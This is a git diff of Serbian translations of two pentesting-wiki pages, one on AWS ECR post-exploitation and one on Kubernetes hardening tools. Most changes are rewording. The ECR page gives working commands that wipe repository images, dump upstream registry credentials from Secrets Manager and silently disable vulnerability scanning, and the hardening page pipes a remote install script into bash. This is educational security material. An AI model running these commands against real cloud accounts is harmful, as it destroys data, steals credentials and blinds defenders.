diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md index 270986899..60d3702be 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation/README.md @@ -47,7 +47,7 @@ aws ecr get-download-url-for-layer \ --registry-id 653711331788 \ --layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a" ``` -Nakon preuzimanja images, trebalo bi da ih **proverite zbog osetljivih informacija**: +Nakon preuzimanja image-ova trebalo bi da **proverite da li sadrže osetljive informacije**: {{#ref}} https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics.html @@ -55,7 +55,7 @@ https://book.hacktricks.wiki/en/generic-methodologies-and-resources/basic-forens ### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage` -Napadač sa bilo kojom od ovih dozvola može **kreirati ili izmeniti lifecycle policy kako bi obrisao sve images u repository-ju** i potom **izbrisati ceo ECR repository**. To bi rezultiralo gubitkom svih container images smeštenih u repository-ju. +Napadač koji ima bilo koju od ovih dozvola može **kreirati ili izmeniti lifecycle policy da obriše sve images u repository-ju** i zatim **izbrisati čitav ECR repository**. To bi rezultovalo gubitkom svih container images koji su uskladišteni u repository-ju. ```bash # Create a JSON file with the malicious lifecycle policy echo '{ @@ -90,21 +90,21 @@ aws ecr batch-delete-image --repository-name your-ecr-repo-name --image-ids imag # Delete multiple images from the ECR public repository aws ecr-public batch-delete-image --repository-name your-ecr-repo-name --image-ids imageTag=latest imageTag=v1.0.0 ``` -### Eksfiltracija upstream registry kredencijala iz ECR Pull‑Through Cache (PTC) +### Eksfiltracija kredencijala upstream registrija iz ECR Pull‑Through Cache (PTC) -Ako je ECR Pull‑Through Cache konfigurisana za autentifikovane upstream registrije (Docker Hub, GHCR, ACR, itd.), upstream kredencijali se čuvaju u AWS Secrets Manager sa predvidljivim prefiksom imena: `ecr-pullthroughcache/`. Operateri ponekad dodeljuju ECR adminima širok pristup za čitanje u AWS Secrets Manager‑u, što omogućava eksfiltraciju kredencijala i ponovno korišćenje van AWS‑a. +Ako je ECR Pull‑Through Cache konfigurisan za autentifikovane upstream registre (Docker Hub, GHCR, ACR, itd.), kredencijali za upstream se čuvaju u AWS Secrets Manager sa predvidivim prefiksom imena: `ecr-pullthroughcache/`. Operatori ponekad daju ECR adminima širok pristup za čitanje u AWS Secrets Manager, što omogućava eksfiltraciju kredencijala i njihovo ponovno korišćenje van AWS-a. Zahtevi - secretsmanager:ListSecrets - secretsmanager:GetSecretValue -Izlistaj kandidatne PTC tajne +Enumerišite kandidatne PTC tajne ```bash aws secretsmanager list-secrets \ --query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].Name" \ --output text ``` -Dump otkrivene tajne i parsiraj uobičajena polja +Dump otkrivene secrets i parsiraj uobičajena polja ```bash for s in $(aws secretsmanager list-secrets \ --query "SecretList[?starts_with(Name, 'ecr-pullthroughcache/')].ARN" --output text); do @@ -114,25 +114,25 @@ jq -r '.username? // .user? // empty' /tmp/ptc_secret.json || true jq -r '.password? // .token? // empty' /tmp/ptc_secret.json || true done ``` -Opcionalno: proveriti leaked creds prema upstreamu (read‑only login) +Opcionalno: proveriti leaked creds prema upstream (read‑only login) ```bash echo "$DOCKERHUB_PASSWORD" | docker login --username "$DOCKERHUB_USERNAME" --password-stdin registry-1.docker.io ``` -Uticaj -- Čitanje ovih Secrets Manager unosa otkriva ponovo upotrebljive upstream registry credentials (username/password or token), koje se mogu zloupotrebiti izvan AWS da bi se pull private images ili pristupilo dodatnim repositories u zavisnosti od upstream permissions. +Impact +- Čitanje ovih Secrets Manager unosa daje ponovo iskoristive upstream registry credentials (username/password or token), koje se mogu zloupotrebiti van AWS-a za pull private images ili pristup dodatnim repositories u zavisnosti od upstream permissions. -### Stealth na nivou registra: onemogućite ili snizite skeniranje putem `ecr:PutRegistryScanningConfiguration` +### Registry-level stealth: disable or downgrade scanning via `ecr:PutRegistryScanningConfiguration` -Napadač sa registry-level ECR permissions može tiho smanjiti ili onemogućiti automatsko skeniranje ranjivosti za SVE repositories tako što će podesiti registry scanning configuration na BASIC bez bilo kakvih scan-on-push pravila. Ovo sprečava da se novi image pushes automatski skeniraju, skrivajući ranjive ili maliciozne slike. +Napadač sa registry-level ECR permissions može tiho smanjiti ili onemogućiti automatsko skeniranje ranjivosti za ALL repositories tako što će postaviti registry scanning configuration na BASIC bez bilo kojih scan-on-push pravila. Ovo sprečava da novi image pushes budu automatski skenirani, skrivajući ranjive ili maliciozne images. -Zahtevi +Requirements - ecr:PutRegistryScanningConfiguration - ecr:GetRegistryScanningConfiguration - ecr:PutImageScanningConfiguration (optional, per‑repo) - ecr:DescribeImages, ecr:DescribeImageScanFindings (verification) -Smanjenje na nivou celog registra na manuelno (bez automatskog skeniranja) +Registry-wide downgrade to manual (no auto scans) ```bash REGION=us-east-1 # Read current config (save to restore later) @@ -144,7 +144,7 @@ aws ecr put-registry-scanning-configuration \ --scan-type BASIC \ --rules '[]' ``` -Testiranje sa repo i image +Test sa repo i image ```bash acct=$(aws sts get-caller-identity --query Account --output text) repo=ht-scan-stealth @@ -159,7 +159,7 @@ aws ecr describe-images --region "$REGION" --repository-name "$repo" --image-ids # Optional: will error with ScanNotFoundException if no scan exists aws ecr describe-image-scan-findings --region "$REGION" --repository-name "$repo" --image-id imageTag=test || true ``` -Opcionalno: dodatno degradiranje na nivou repozitorijuma +Opcionalno: dodatno degradirajte na nivou repozitorijuma ```bash # Disable scan-on-push for a specific repository aws ecr put-image-scanning-configuration \ @@ -168,19 +168,19 @@ aws ecr put-image-scanning-configuration \ --image-scanning-configuration scanOnPush=false ``` Uticaj -- Novi push-ovi image-a u registru se ne skeniraju automatski, što smanjuje vidljivost ranjivog ili malicioznog sadržaja i odlaže otkrivanje dok se ne pokrene ručno skeniranje. +- Novi image pushes preko registra se ne skeniraju automatski, što smanjuje vidljivost ranjivog ili malicioznog sadržaja i odlaže detekciju dok se ne pokrene manuelni scan. -### Degradacija engine-a skeniranja za ceo registar preko `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR) +### Smanjenje skenirajućeg engine-a na nivou registra preko `ecr:PutAccountSetting` (AWS_NATIVE -> CLAIR) -Smanjite kvalitet detekcije ranjivosti u čitavom registru prebacivanjem BASIC scan engine-a sa podrazumevanog AWS_NATIVE na legacy CLAIR engine. Ovo ne onemogućava skeniranje, ali može bitno promeniti nalaze/pokrivenost. Kombinujte sa BASIC konfiguracijom skeniranja registra bez pravila kako biste skeniranja učinili isključivo ručnim. +Smanjite kvalitet detekcije ranjivosti u celom registriju tako što ćete promeniti BASIC scan engine sa podrazumevanog AWS_NATIVE na legacy CLAIR engine. Ovo ne isključuje skeniranje, ali može značajno promeniti nalaze/pokrivenost. Kombinujte sa BASIC registry scanning konfiguracijom bez pravila da skenovi budu samo manuelni. Zahtevi - `ecr:PutAccountSetting`, `ecr:GetAccountSetting` - (Opcionalno) `ecr:PutRegistryScanningConfiguration`, `ecr:GetRegistryScanningConfiguration` Uticaj -- Podešavanje registra `BASIC_SCAN_TYPE_VERSION` postavljeno na `CLAIR`, tako da naredna BASIC skeniranja koriste degradirani engine. CloudTrail beleži `PutAccountSetting` API poziv. +- Podešavanje registra `BASIC_SCAN_TYPE_VERSION` postavljeno na `CLAIR` tako da naredni BASIC skenovi koriste degradirani engine. CloudTrail evidentira `PutAccountSetting` API poziv. Koraci ```bash @@ -201,4 +201,36 @@ aws ecr put-registry-scanning-configuration --region $REGION --scan-type BASIC - # 5) Restore to AWS_NATIVE when finished to avoid side effects aws ecr put-account-setting --region $REGION --name BASIC_SCAN_TYPE_VERSION --value AWS_NATIVE ``` +### Scan ECR images for ranjivosti +```bash +#!/bin/bash + +# This script pulls all images from ECR and runs snyk on them showing vulnerabilities for all images + +region= +profile= + +registryId=$(aws ecr describe-registry --region $region --profile $profile --output json | jq -r '.registryId') + +# Configure docker creds +aws ecr get-login-password --region $region --profile $profile | docker login --username AWS --password-stdin $registryId.dkr.ecr.$region.amazonaws.com + +while read -r repo; do +echo "Working on repository $repo" +digest=$(aws ecr describe-images --repository-name $repo --image-ids imageTag=latest --region $region --profile $profile --output json | jq -r '.imageDetails[] | .imageDigest') +if [ -z "$digest" ] +then +echo "No images! Empty repository" +continue +fi +url=$registryId.dkr.ecr.$region.amazonaws.com/$repo@$digest +echo "Pulling $url" +docker pull $url +echo "Scanning $url" +snyk container test $url --json-file-output=./snyk/$repo.json --severity-threshold=high +# trivy image -f json -o ./trivy/$repo.json --severity HIGH,CRITICAL $url +# echo "Removing image $url" +# docker image rm $url +done < <(aws ecr describe-repositories --region $region --profile $profile --output json | jq -r '.repositories[] | .repositoryName') +``` {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/README.md b/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/README.md index a0bbf21b0..1179f200a 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/README.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-hardening/README.md @@ -1,4 +1,4 @@ -# Ojačavanje Kubernetes-a +# Kubernetes Hardening {{#include ../../../banners/hacktricks-training.md}} @@ -6,7 +6,7 @@ ### [Steampipe - Kubernetes Compliance](https://github.com/turbot/steampipe-mod-kubernetes-compliance) -Obavlja više provera usklađenosti nad Kubernetes klasterom. Uključuje podršku za CIS, National Security Agency (NSA) i Cybersecurity and Infrastructure Security Agency (CISA) tehničke izveštaje za ojačavanje Kubernetes-a. +Sprovodi nekoliko provera usklađenosti nad Kubernetes klasterom. Pruža podršku za smernice CIS, kao i tehničke izveštaje National Security Agency (NSA) i Cybersecurity and Infrastructure Security Agency (CISA) koji se tiču hardening-a Kubernetes-a. ```bash # Install Steampipe brew install turbot/tap/powerpipe @@ -27,82 +27,81 @@ powerpipe server ``` ### [**Kubescape**](https://github.com/armosec/kubescape) -[**Kubescape**](https://github.com/armosec/kubescape) je open-source alat za K8s koji pruža multi-cloud jedinstveni pregled K8s okruženja, uključujući analizu rizika, usklađenost bezbednosti, RBAC vizualizator i skeniranje ranjivosti image-a. Kubescape skenira K8s klastere, YAML fajlove i HELM charts, detektuje pogrešne konfiguracije u skladu sa više framework-a (kao što su [NSA-CISA](https://www.armosec.io/blog/kubernetes-hardening-guidance-summary-by-armo) , [MITRE ATT\&CK®](https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/)), softverske ranjivosti i RBAC (role-based-access-control) prekršaje u ranim fazama CI/CD pipeline-a, odmah izračunava ocenu rizika i prikazuje trendove rizika tokom vremena. +[**Kubescape**](https://github.com/armosec/kubescape) je open-source alat za K8s koji obezbeđuje multi-cloud K8s jedinstveni pregled (single pane of glass), uključujući analizu rizika, proveru bezbednosne usklađenosti, RBAC vizualizator i skeniranje ranjivosti image-ova. Kubescape skenira K8s klastere, YAML files, and HELM charts, otkrivajući pogrešne konfiguracije u skladu sa više framework-a (kao što su [NSA-CISA](https://www.armosec.io/blog/kubernetes-hardening-guidance-summary-by-armo) , [MITRE ATT\&CK®](https://www.microsoft.com/security/blog/2021/03/23/secure-containerized-environments-with-updated-threat-matrix-for-kubernetes/)), softverske ranjivosti i RBAC (role-based-access-control) prekršaje u ranim fazama CI/CD pipeline-a, odmah izračunava ocenu rizika i prikazuje trendove rizika tokom vremena. ```bash curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | /bin/bash kubescape scan --verbose ``` ### [**Popeye**](https://github.com/derailed/popeye) -[**Popeye**](https://github.com/derailed/popeye) je utility koja skenira živi Kubernetes cluster i **izveštava o potencijalnim problemima sa raspoređenim resursima i konfiguracijama**. Sanitizuje vaš klaster na osnovu onoga što je raspoređeno, a ne onoga što se nalazi na disku. Skeniranjem klastera detektuje misconfigurations i pomaže vam da osigurate primenu best practices, čime se sprečavaju buduće glavobolje. Cilj mu je da smanji kognitivni \_over_load sa kojim se susrećete pri radu sa Kubernetes klasterom u stvarnom okruženju. Pored toga, ako vaš klaster koristi metric-server, izveštava o potencijalnim prekomernim/premalim alokacijama resursa i pokušava da vas upozori ako vaš klaster ostane bez kapaciteta. +[**Popeye**](https://github.com/derailed/popeye) je utilitet koji skenira aktivni Kubernetes klaster i **izveštava o potencijalnim problemima sa deployovanim resursima i konfiguracijama**. On sanitizuje vaš klaster na osnovu onoga što je deployovano, a ne onoga što stoji na disku. Skeniranjem klastera otkriva pogrešne konfiguracije i pomaže vam da osigurate primenu najboljih praksi, čime se sprečavaju budući problemi. Cilj mu je da smanji kognitivni \_over_load sa kojim se susrećete pri upravljanju Kubernetes klasterom u prirodnom okruženju. Nadalje, ako vaš klaster koristi metric-server, izveštava o potencijalnim over/under alokacijama resursa i pokušava da vas upozori ukoliko vaš klaster ostane bez kapaciteta. ### [**Kube-bench**](https://github.com/aquasecurity/kube-bench) -The tool [**kube-bench**](https://github.com/aquasecurity/kube-bench) is a tool that checks whether Kubernetes is deployed securely by running the checks documented in the [**CIS Kubernetes Benchmark**](https://www.cisecurity.org/benchmark/kubernetes/).\ -Možete izabrati da: +Alat [**kube-bench**](https://github.com/aquasecurity/kube-bench) proverava da li je Kubernetes deployovan sigurno tako što izvršava provere dokumentovane u [**CIS Kubernetes Benchmark**].\ +Možete odabrati da: -- pokrenete kube-bench iz kontejnera (deleći PID namespace sa host-om) -- pokrenete kontejner koji instalira kube-bench na hostu, a zatim pokrenete kube-bench direktno na hostu +- pokrenete kube-bench iz kontejnera (deljenjem PID namespace sa hostom) +- pokrenete kontejner koji instalira kube-bench na host, a zatim pokrenete kube-bench direktno na hostu - instalirate najnovije binarne fajlove sa [Releases page](https://github.com/aquasecurity/kube-bench/releases), - kompajlirate ga iz izvornog koda. ### [**Kubeaudit**](https://github.com/Shopify/kubeaudit) -**[DEPRECATED]** The tool [**kubeaudit**](https://github.com/Shopify/kubeaudit) is a command line tool and a Go package to **audit Kubernetes clusters** for various different security concerns. +**[DEPRECATED]** Alat [**kubeaudit**](https://github.com/Shopify/kubeaudit) je alat komandne linije i Go paket za **audit Kubernetes clusters** u vezi sa raznim bezbednosnim pitanjima. -Kubeaudit može da detektuje da li se pokreće unutar kontejnera u klasteru. Ako je tako, pokušaće da audit-uje sve Kubernetes resurse u tom klasteru: +Kubeaudit može da otkrije da li se izvršava unutar kontejnera u klasteru. Ako jeste, pokušaće da audituje sve Kubernetes resurse u tom klasteru: ``` kubeaudit all ``` -Ovaj alat takođe ima argument `autofix` za **automatsko ispravljanje otkrivenih problema.** +Ovaj alat takođe ima argument `autofix` za **automatsko otklanjanje otkrivenih problema.** ### [**Kube-hunter**](https://github.com/aquasecurity/kube-hunter) -**[DEPRECATED]** Alat [**kube-hunter**](https://github.com/aquasecurity/kube-hunter) otkriva bezbednosne slabosti u Kubernetes klasterima. Alat je razvijen da poveća svest i vidljivost bezbednosnih problema u Kubernetes okruženjima. +**[ZASTARELO]** Alat [**kube-hunter**](https://github.com/aquasecurity/kube-hunter) traži sigurnosne slabosti u Kubernetes klasterima. Alat je razvijen da poveća svest i vidljivost sigurnosnih problema u Kubernetes okruženjima. ```bash kube-hunter --remote some.node.com ``` ### [Trivy](https://github.com/aquasecurity/trivy) -[Trivy](https://github.com/aquasecurity/trivy) ima skenere koji traže bezbednosne probleme i ciljeve gde može da pronađe te probleme: +[Trivy](https://github.com/aquasecurity/trivy) ima skenere koji traže sigurnosne probleme i ciljeve u kojima može da ih pronađe: - Image kontejnera - Fajl sistem -- Git Repository (remote) +- Git repozitorijum (remote) - Image virtuelne mašine - Kubernetes ### [**Kubei**](https://github.com/Erezf-p/kubei) -**Izgleda da nije održavan** +**[Izgleda neodržavano]** -[**Kubei**](https://github.com/Erezf-p/kubei) je alat za skeniranje ranjivosti i CIS Docker benchmark koji omogućava korisnicima da dobiju tačnu i trenutnu procenu rizika svojih Kubernetes klastera. Kubei skenira sve image-e koji se koriste u Kubernetes klasteru, uključujući image-e aplikacionih i sistemskih pods-a. +[**Kubei**](https://github.com/Erezf-p/kubei) je alat za skeniranje ranjivosti i CIS Docker benchmark koji korisnicima omogućava tačnu i trenutnu procenu rizika njihovih Kubernetes klastera. Kubei skenira sve image-e koji se koriste u Kubernetes klasteru, uključujući image-e aplikacionih podova i sistemskih podova. ### [**KubiScan**](https://github.com/cyberark/KubiScan) -[**KubiScan**](https://github.com/cyberark/KubiScan) je alat za skeniranje Kubernetes klastera u potrazi za rizičnim dozvolama u Kubernetes-ovom Role-based access control (RBAC) modelu autorizacije. +[**KubiScan**](https://github.com/cyberark/KubiScan) je alat za skeniranje Kubernetes klastera radi pronalaženja rizičnih dozvola u Kubernetes-ovom Role-based access control (RBAC) modelu autorizacije. ### [Managed Kubernetes Auditing Toolkit](https://github.com/DataDog/managed-kubernetes-auditing-toolkit) -[**Mkat**](https://github.com/DataDog/managed-kubernetes-auditing-toolkit) je alat napravljen da testira druge tipove visokorizičnih provera u poređenju sa ostalim alatima. Uglavnom ima 3 različita moda: +[**Mkat**](https://github.com/DataDog/managed-kubernetes-auditing-toolkit) je alat napravljen da testira druge vrste visokorizičnih provera u poređenju sa ostalim alatima. Uglavnom ima 3 različita režima rada: -- **`find-role-relationships`**: Koji će pronaći koji AWS role se pokreću u kojim pods-ima -- **`find-secrets`**: Koji pokušava da identifikuje secrets u K8s resursima kao što su Pods, ConfigMaps i Secrets. -- **`test-imds-access`**: Koji će pokušati da pokrene podove i pokuša da pristupi metadata v1 i v2. UPOZORENJE: Ovo će pokrenuti pod u klasteru, budite veoma oprezni jer možda ne želite da ovo uradite! +- **`find-role-relationships`**: Koji će otkriti koje AWS role se izvršavaju u kojim podovima +- **`find-secrets`**: Koji pokušava da identifikuje tajne u K8s resursima kao što su Pods, ConfigMaps i Secrets. +- **`test-imds-access`**: Koji će pokušati da pokrene podove i pokuša da pristupi metadata v1 i v2. UPOZORENJE: Ovo će pokrenuti pod u klasteru — budite veoma oprezni jer možda ne želite da to uradite! - -## **Audit IaC Code** +## **Revizija IaC koda** ### [**KICS**](https://github.com/Checkmarx/kics) -[**KICS**](https://github.com/Checkmarx/kics) pronalazi **bezbednosne ranjivosti**, probleme usklađenosti i pogrešne konfiguracije infrastrukture u sledećim **Infrastructure as Code rešenjima**: Terraform, Kubernetes, Docker, AWS CloudFormation, Ansible, Helm, Microsoft ARM i OpenAPI 3.0 specifikacijama +[**KICS**](https://github.com/Checkmarx/kics) pronalazi **sigurnosne ranjivosti**, probleme usklađenosti i pogrešne konfiguracije infrastrukture u sledećim **Infrastructure as Code rešenjima**: Terraform, Kubernetes, Docker, AWS CloudFormation, Ansible, Helm, Microsoft ARM, i OpenAPI 3.0 specifikacijama ### [**Checkov**](https://github.com/bridgecrewio/checkov) [**Checkov**](https://github.com/bridgecrewio/checkov) je alat za statičku analizu koda za infrastructure-as-code. -Skenira cloud infrastrukturu provision-ovanu koristeći [Terraform](https://terraform.io), Terraform plan, [Cloudformation](https://aws.amazon.com/cloudformation/), [AWS SAM](https://aws.amazon.com/serverless/sam/), [Kubernetes](https://kubernetes.io), [Dockerfile](https://www.docker.com), [Serverless](https://www.serverless.com) ili [ARM Templates](https://docs.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) i otkriva bezbednosne probleme i probleme usklađenosti, kao i pogrešne konfiguracije koristeći skeniranje zasnovano na grafovima. +Skenira cloud infrastrukturu postavljenu korišćenjem [Terraform](https://terraform.io), Terraform plan, [Cloudformation](https://aws.amazon.com/cloudformation/), [AWS SAM](https://aws.amazon.com/serverless/sam/), [Kubernetes](https://kubernetes.io), [Dockerfile](https://www.docker.com), [Serverless](https://www.serverless.com) ili [ARM Templates](https://docs.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) i detektuje sigurnosne i usklađenosti pogrešne konfiguracije koristeći skeniranje zasnovano na grafu. ### [**Kube-score**](https://github.com/zegl/kube-score) @@ -110,12 +109,12 @@ Skenira cloud infrastrukturu provision-ovanu koristeći [Terraform](https://terr To install: -| Distribution | Command / Link | +| Distribucija | Komanda / Link | | --------------------------------------------------- | --------------------------------------------------------------------------------------- | -| Pre-built binaries for macOS, Linux, and Windows | [GitHub releases](https://github.com/zegl/kube-score/releases) | +| Pre-built binarni paketi za macOS, Linux, i Windows | [GitHub releases](https://github.com/zegl/kube-score/releases) | | Docker | `docker pull zegl/kube-score` ([Docker Hub)](https://hub.docker.com/r/zegl/kube-score/) | -| Homebrew (macOS and Linux) | `brew install kube-score` | -| [Krew](https://krew.sigs.k8s.io/) (macOS and Linux) | `kubectl krew install score` | +| Homebrew (macOS i Linux) | `brew install kube-score` | +| [Krew](https://krew.sigs.k8s.io/) (macOS i Linux) | `kubectl krew install score` | ## Tools to analyze YAML files & Helm Charts @@ -163,41 +162,113 @@ helm template chart /path/to/chart \ --set 'config.urls[0]=https://dummy.backend.internal' \ | kubesec scan - ``` +## Skeniranje problema sa zavisnostima + +### Skeniranje slika +```bash +#!/bin/bash +export images=$(kubectl get pods --all-namespaces -o jsonpath="{range .items[]}{.spec.containers[].image}{'\n'}{end}" | sort | uniq) +echo "All images found: $images" +echo "" +echo "" +for image in $images; do +# Run trivy scan and save JSON output +trivy image --format json --output /tmp/result.json --severity HIGH,CRITICAL "$image" >/dev/null 2>&1 +# Extract binary targets that have vulnerabilities +binaries=$(jq -r '.Results[] | select(.Vulnerabilities != null) | .Target' /tmp/result.json) +if [ -n "$binaries" ]; then +echo "- **Image:** $image" +while IFS= read -r binary; do +echo " - **Binary:** $binary" +jq -r --arg target "$binary" ' +.Results[] | select(.Target == $target) | .Vulnerabilities[] | +" - **\(.Title)** (\(.Severity)): Affecting `\(.PkgName)` fixed in version `\(.FixedVersion)` (current version is `\(.InstalledVersion)`)." +' /tmp/result.json +done <<< "$binaries" +echo "" +echo "" +echo "" +fi +done +``` +### Skeniraj Helm charts +```bash +#!/bin/bash +# scan-helm-charts.sh +# This script lists all Helm releases, renders their manifests, +# and then scans each manifest with Trivy for configuration issues. + +# Check that jq is installed +if ! command -v jq &>/dev/null; then +echo "jq is required but not installed. Please install jq and rerun." +exit 1 +fi + +# List all helm releases and extract namespace and release name +echo "Listing Helm releases..." +helm list --all-namespaces -o json | jq -r '.[] | "\(.namespace) \(.name)"' > helm_releases.txt + +# Check if any releases were found +if [ ! -s helm_releases.txt ]; then +echo "No Helm releases found." +exit 0 +fi + +# Loop through each Helm release and scan its rendered manifest +while IFS=" " read -r namespace release; do +echo "---------------------------------------------" +echo "Scanning Helm release '$release' in namespace '$namespace'..." +# Render the Helm chart manifest +manifest_file="${release}-manifest.yaml" +helm get manifest "$release" -n "$namespace" > "$manifest_file" +if [ $? -ne 0 ]; then +echo "Failed to get manifest for $release in $namespace. Skipping." +continue +fi +# Scan the manifest with Trivy (configuration scan) +echo "Running Trivy config scan on $manifest_file..." +trivy config --severity MEDIUM,HIGH,CRITICAL "$manifest_file" +echo "Completed scan for $release." +done < helm_releases.txt + +echo "---------------------------------------------" +echo "Helm chart scanning complete." +``` ## Saveti ### Kubernetes PodSecurityContext i SecurityContext -Možete konfigurisati **bezbednosni kontekst Pod-ova** (sa _PodSecurityContext_) i **kontejnere** koji će biti pokrenuti (sa _SecurityContext_). Za više informacija pročitajte: +Možete konfigurisati **bezbednosni kontekst Pod-ova** (sa _PodSecurityContext_) i **kontekst kontejnera** koji će se pokretati (sa _SecurityContext_). Za više informacija pročitajte: {{#ref}} kubernetes-securitycontext-s.md {{#endref}} -### Ojačavanje bezbednosti Kubernetes API-ja +### Kubernetes API Hardening -Veoma je važno **zaštititi pristup Kubernetes Api Server-u** jer zlonameran akter sa dovoljno privilegija može zloupotrebiti server i na mnogo načina oštetiti okruženje.\ -Važno je obezbediti i **pristup** (**whitelist** origin-a koji smeju da pristupe API Server-u i odbiti sve ostale konekcije) i [**autentifikaciju**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-authentication-authorization/) (prateći princip **najmanjih** **privilegija**). I definitivno **nikada** **ne dozvolite** **anonimne** **zahteve**. +Veoma je važno da **zaštitite pristup Kubernetes Api Server-u** jer zlonameran akter sa dovoljnim privilegijama može da ga zloupotrebi i na mnogo načina naškodi okruženju.\ +Važno je osigurati i **pristup** (**whitelist** origin-e za pristup API Server-u i odbiti sve druge konekcije) i [**authentication**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-authentication-authorization/) (prateći princip **najmanjih privilegija**). I definitivno **nikada** **ne** **dozvoljavajte** **anonimne** **zahteve**. -**Uobičajeni proces zahteva:**\ -Korisnik ili K8s ServiceAccount –> Autentifikacija –> Autorizacija –> Admission Control. +**Uobičajen proces zahteva:**\ +Korisnik ili K8s ServiceAccount –> Authentication –> Authorization –> Admission Control. **Saveti**: - Zatvorite portove. - Izbegavajte anonimni pristup. -- NodeRestriction; Nema pristupa API-ju sa određenih nodova. +- NodeRestriction; zabrani pristup API-ju sa određenih nodes. - [https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction) -- U suštini sprečava kubelets da dodaju/uklanjaju/azuriraju label-e sa prefiksom node-restriction.kubernetes.io/. Ovaj prefiks label-e je rezervisan za administratore da označavaju Node objekte za potrebe izolacije workload-a, i kubelet-ima neće biti dozvoljeno da menjaju label-e sa tim prefiksom. -- I takođe, dozvoljava kubelet-ima da dodaju/uklanjaju/azuriraju ove label-e i prefikse label-a. -- Obezbedite pomoću label-a sigurnu izolaciju workload-a. -- Sprečite da specifični pod-ovi pristupaju API-ju. +- U suštini sprečava kubelets da dodaju/uklanjaju/izmenjuju labele sa prefiksom node-restriction.kubernetes.io/. Taj prefiks je rezervisan za administratore da označe svoje Node objekte za potrebe izolacije workload-a, i kubelets neće imati dozvolu da menjaju labele sa tim prefiksom. +- I takođe, dozvoljava kubelets-ima da dodaju/uklanjaju/izmenjuju ove labele i prefikse labela. +- Obezbedite sigurnu izolaciju workload-a pomoću labela. +- Sprečite određenim pods pristup API-ju. - Izbegavajte izlaganje ApiServer-a internetu. -- Sprečite neautorizovan pristup koristeći RBAC. -- Konfigurišite firewall i IP whitelistu za ApiServer port. +- Sprečite neautorizovan pristup; koristite RBAC. +- Za ApiServer port koristite firewall i IP whitelisting. -### Ojačavanje SecurityContext-a +### SecurityContext Hardening -Po defaultu će se koristiti root korisnik kada se pokrene Pod ako nije naveden drugi korisnik. Aplikaciju možete pokrenuti u sigurnijem kontekstu koristeći šablon sličan sledećem: +Po defaultu će se koristiti root korisnik kada se Pod pokrene ako nije naveden drugi korisnik. Možete pokretati vašu aplikaciju u bezbednijem kontekstu koristeći šablon sličan sledećem: ```yaml apiVersion: v1 kind: Pod @@ -226,30 +297,30 @@ allowPrivilegeEscalation: true - [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/) - [https://kubernetes.io/docs/concepts/policy/pod-security-policy/](https://kubernetes.io/docs/concepts/policy/pod-security-policy/) -### Opšte ojačavanje bezbednosti +### Opšte jačanje bezbednosti -Treba redovno ažurirati vaše Kubernetes okruženje onoliko često koliko je potrebno da imate: +Treba da ažurirate vaše Kubernetes okruženje koliko često je potrebno da biste imali: -- Ažurne zavisnosti. +- Zavisnosti ažurne. - Ispravke grešaka i bezbednosne zakrpe. [**Release cycles**](https://kubernetes.io/docs/setup/release/version-skew-policy/): Svaka 3 meseca izlazi novo minor izdanje -- 1.20.3 = 1(Major).20(Minor).3(patch) -**Najbolji način za ažuriranje Kubernetes klastera je (iz** [**here**](https://kubernetes.io/docs/tasks/administer-cluster/cluster-upgrade/)**):** +**Najbolji način da ažurirate Kubernetes Cluster je (iz** [**here**](https://kubernetes.io/docs/tasks/administer-cluster/cluster-upgrade/)**):** -- Ažurirajte Master Node komponente prateći sledeći redosled: +- Ažurirajte komponente Master Node-a po sledećem redosledu: - etcd (all instances). - kube-apiserver (all control plane hosts). - kube-controller-manager. - kube-scheduler. - cloud controller manager, if you use one. -- Ažurirajte Worker Node komponente kao što su kube-proxy, kubelet. +- Ažurirajte komponente Worker Node-a kao što su kube-proxy, kubelet. -## Kubernetes monitoring & security: +## Kubernetes nadzor i bezbednost: - Kyverno Policy Engine -- Cilium Tetragon - eBPF-based posmatranje bezbednosti i runtime sprovođenje +- Cilium Tetragon - eBPF-based Security Observability and Runtime Enforcement - Network Security Policies -- Falco - Runtime monitoring bezbednosti & detekcija +- Falco - Runtime security monitoring & detection {{#include ../../../banners/hacktricks-training.md}}